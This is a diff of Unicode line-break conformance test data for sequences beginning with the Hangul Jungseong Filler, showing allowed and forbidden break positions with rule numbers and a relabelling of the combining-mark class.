+× 1160 × 0308 × 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 1160 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [13.02] COMMA (IS) ÷ [0.3]
× 1160 × 0020 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 1160 × 0308 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 1160 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 1160 × 0308 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 1160 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 1160 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1160 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1160 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1160 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 1160 × 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1160 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1160 × 0308 × 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1160 × 0308 × 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 1160 × 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1160 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1160 × 0308 × 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1160 × 0308 × 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 1160 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1160 × 0020 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1160 × 0308 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 1160 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1160 × 0308 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 1160 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 1160 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1160 × 0020 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1160 × 0308 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 1160 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1160 × 0308 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 1160 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 1160 × 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1160 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1160 × 0308 × 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1160 × 0308 × 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 1160 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 1160 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1160 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1160 × 0308 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 1160 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1160 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1160 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1160 × 0308 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 1160 × 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
× 1160 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 1160 × 0308 × 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 1160 × 0308 × 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.02] PERCENT SIGN (PO) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 1160 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1160 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1160 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1160 × 0308 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 1160 × 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 1160 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 1160 × 0308 × 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 1160 × 0308 × 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 1160 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [0.3]
× 1160 × 0020 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 1160 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 1160 × 0308 × 0020 × 0020 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 1160 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1160 × 0020 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 1160 × 0308 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 1160 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 1160 × 0308 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 1160 × 0308 × 0020 × 002F ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 1160 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1160 × 0020 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1160 × 0308 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 1160 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1160 × 0308 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 1160 × 0308 × 0020 × 2060 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 1160 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1160 × 0020 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1160 × 0308 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 1160 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1160 × 0308 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 1160 × 0308 × 0020 × 200B ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 1160 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 1160 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1160 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1160 × 0308 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 1160 ÷ 261D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1160 × 0020 ÷ 261D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1160 × 0308 ÷ 261D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 261D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 1160 ÷ 1F3FB ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1160 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1160 × 0308 ÷ 1F3FB ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 1160 × 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1160 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1160 × 0308 × 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 1160 × 200D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1160 × 0020 ÷ 200D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1160 × 0308 × 200D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 200D ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 1160 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1160 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1160 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1160 × 0308 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 1160 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1160 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1160 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1160 × 0308 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 1160 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1160 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1160 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 1160 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1160 × 0308 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 1160 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 1160 × 3041 ÷ # × [0.3] HANGUL JUNGSEONG FILLER (JV) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
